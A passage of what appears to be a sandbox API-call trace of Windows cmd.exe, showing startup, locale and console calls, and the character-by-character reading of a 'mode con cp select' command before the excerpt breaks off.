(HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x4016) returned 0x1e06dd19100 [0272.730] GetProcessHeap () returned 0x1e06dd10000 [0272.730] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd19100) returned 1 [0272.730] GetConsoleOutputCP () returned 0x1b5 [0273.072] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0273.072] GetUserDefaultLCID () returned 0x409 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff790a7bb78, cchData=8 | out: lpLCData=":") returned 2 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x76e48ff630, cchData=128 | out: lpLCData="0") returned 2 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x76e48ff630, cchData=128 | out: lpLCData="0") returned 2 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x76e48ff630, cchData=128 | out: lpLCData="1") returned 2 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff790a7bb68, cchData=8 | out: lpLCData="/") returned 2 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff790a7bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff790a7bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff790a7ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff790a7ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff790a7ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff790a7b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff790a7b980, cchData=32 | out: lpLCData="Sun") returned 4 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff790a7bb58, cchData=8 | out: lpLCData=".") returned 2 [0273.072] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff790a7bb40, cchData=8 | out: lpLCData=",") returned 2 [0273.072] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0273.074] GetProcessHeap () returned 0x1e06dd10000 [0273.074] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x0, Size=0x20c) returned 0x1e06dd17b40 [0273.074] GetConsoleTitleW (in: lpConsoleTitle=0x1e06dd17b40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0273.197] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.197] GetFileType (hFile=0x254) returned 0x3 [0273.231] ApiSetQueryApiSetPresence () returned 0x0 [0273.755] ResolveDelayLoadedAPI () returned 0x7fffb2f3d990 [0273.762] BrandingFormatString () returned 0x1e06dd18210 [0274.475] GetVersion () returned 0x3ad7000a [0274.475] _vsnwprintf (in: _Buffer=0x76e48ff790, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x76e48ff728 | out: _Buffer="10.0.15063") returned 10 [0274.475] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.475] GetFileType (hFile=0x254) returned 0x3 [0274.475] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff790a87f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0274.476] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff790a87f60, nSize=0x2000, Arguments=0x76e48ff730 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0274.476] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x76e48ff688, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff688*=0x26, lpOverlapped=0x0) returned 1 [0274.476] _vsnwprintf (in: _Buffer=0x7ff790a87f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x76e48ff758 | out: _Buffer="\r\n") returned 2 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] GetFileType (hFile=0x254) returned 0x3 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0274.476] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x76e48ff728, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff728*=0x2, lpOverlapped=0x0) returned 1 [0274.476] _vsnwprintf (in: _Buffer=0x7ff790a87f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x76e48ff758 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] GetFileType (hFile=0x254) returned 0x3 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0274.476] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x76e48ff728, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff728*=0x34, lpOverlapped=0x0) returned 1 [0274.476] _vsnwprintf (in: _Buffer=0x7ff790a87f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x76e48ff758 | out: _Buffer="\r\n") returned 2 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] GetFileType (hFile=0x254) returned 0x3 [0274.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0274.476] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x76e48ff728, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff728*=0x2, lpOverlapped=0x0) returned 1 [0274.476] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fffc5200000 [0274.477] GetProcAddress (hModule=0x7fffc5200000, lpProcName="CopyFileExW") returned 0x7fffc521e830 [0274.477] GetProcAddress (hModule=0x7fffc5200000, lpProcName="IsDebuggerPresent") returned 0x7fffc521e300 [0274.477] GetProcAddress (hModule=0x7fffc5200000, lpProcName="SetConsoleInputExeNameW") returned 0x7fffc2410a40 [0274.477] ??_V@YAXPEAX@Z () returned 0x1 [0274.477] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.477] GetFileType (hFile=0x248) returned 0x3 [0274.477] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0274.477] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x76e48ff598 | out: TokenHandle=0x76e48ff598*=0x0) returned 0xc000007c [0274.477] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x76e48ff598 | out: TokenHandle=0x76e48ff598*=0x94) returned 0x0 [0274.477] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x76e48ff548, TokenInformationLength=0x4, ReturnLength=0x76e48ff550 | out: TokenInformation=0x76e48ff548, ReturnLength=0x76e48ff550) returned 0x0 [0274.533] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x76e48ff550, TokenInformationLength=0x4, ReturnLength=0x76e48ff548 | out: TokenInformation=0x76e48ff550, ReturnLength=0x76e48ff548) returned 0x0 [0274.533] NtClose (Handle=0x94) returned 0x0 [0274.533] _vsnwprintf (in: _Buffer=0x7ff790a87f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x76e48ff3d8 | out: _Buffer="\r\n") returned 2 [0274.533] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.533] GetFileType (hFile=0x254) returned 0x3 [0274.533] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0274.534] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x76e48ff3a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff3a8*=0x2, lpOverlapped=0x0) returned 1 [0274.534] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0274.534] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e06de10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0274.534] malloc (_Size=0x107ce) returned 0x1e06de20060 [0274.534] _vsnwprintf (in: _Buffer=0x1e06de20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x76e48ff3e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0274.534] _vsnwprintf (in: _Buffer=0x1e06de20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x76e48ff3e8 | out: _Buffer=">") returned 1 [0274.534] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.534] GetFileType (hFile=0x254) returned 0x3 [0274.534] _get_osfhandle (_FileHandle=1) returned 0x254 [0274.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0274.534] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x76e48ff3d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff3d8*=0x14, lpOverlapped=0x0) returned 1 [0274.534] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.534] GetFileType (hFile=0x248) returned 0x3 [0274.534] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.534] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0274.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.535] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.535] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.536] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0274.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.536] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0274.537] _get_osfhandle (_FileHandle=0) returned 0x248 [0274.537] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0274.537] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0274.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 